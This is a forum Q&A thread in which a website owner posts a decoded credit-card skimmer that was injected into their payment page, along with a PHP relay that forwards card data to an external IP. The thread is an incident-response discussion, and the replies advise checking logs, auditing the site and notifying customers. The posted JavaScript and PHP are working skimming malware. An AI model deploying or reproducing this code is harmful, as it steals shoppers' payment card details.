3

I need help in understanding this hack and maybe I can get more information out of it.

This script was inserted on our website (maybe through a weak password):

eval(atob("string"));

the string means (using a base 64 decoder):

var se = false;
function timedMe() {
    if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('sagepaydirectpro_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('sagepaydirectpro_cc_number').value;
        cem = document.getElementById('sagepaydirectpro_expiration').value;
        cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
        cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
        }
    }
}
setInterval('timedMe()', 700);

And then in shell/shell.php there is:

if($_GET['p']){

    $dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);

    if(function_exists('curl_init')){

        if($ch=curl_init()){

            curl_setopt($ch,CURLOPT_URL,$dourl);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

            if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);

        }
    }
    else $wrt=@file_get_contents($dourl); 
}

that string is decoded to: 

http://193.104.41.220/l3.php?p=

So, my understanding is that when a customer makes a payment on our website:

1) it gets all the information from sagepay fields

2) does a check to see if cn and cvv are valid

3) creates an image and is attached to the url all the credit card data

4) the php script takes that data to their server (http://193.104.41.220).

My question:

Is there anything else that I can discover from these scripts, like how many cards have been compromised etc?

Improve this question
3
  • 4
    Not php expert but have a look at your firewall logs (and protect them) as number of outbound http connections to 193.104.41.220 may help you to estimate number of cards.
    – lubas
    Nov 27 '15 at 21:03
  • 3
    It seems to me that you understood what is going on with the malicious script. A more useful approach is to scan through your server access log and look for lines containing shell.php. It contains all your customers' credit card info.
    – Question Overflow
    Nov 28 '15 at 6:04
  • Are you using Magento? Scan your website with magereport.com and fix the found issues. It is more important to know how they came in and placed the files and codes on your website. The website is compromised,you should inform your custimers about it, close the website for maintenance, do a full audit using logs, tools like grep, change all passwords, restore the latest clean backup, close all security holes and install some security solution like NinjaFirewall from nintechnet.com, modsecurity, fail2ban and others.
    – Daniel Ruf
    Nov 29 '15 at 9:44
1

@QuestionOverflow pointed me in the right direction. greping the server logs for shell.php showed me exactly when it started and how many cards were affected.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.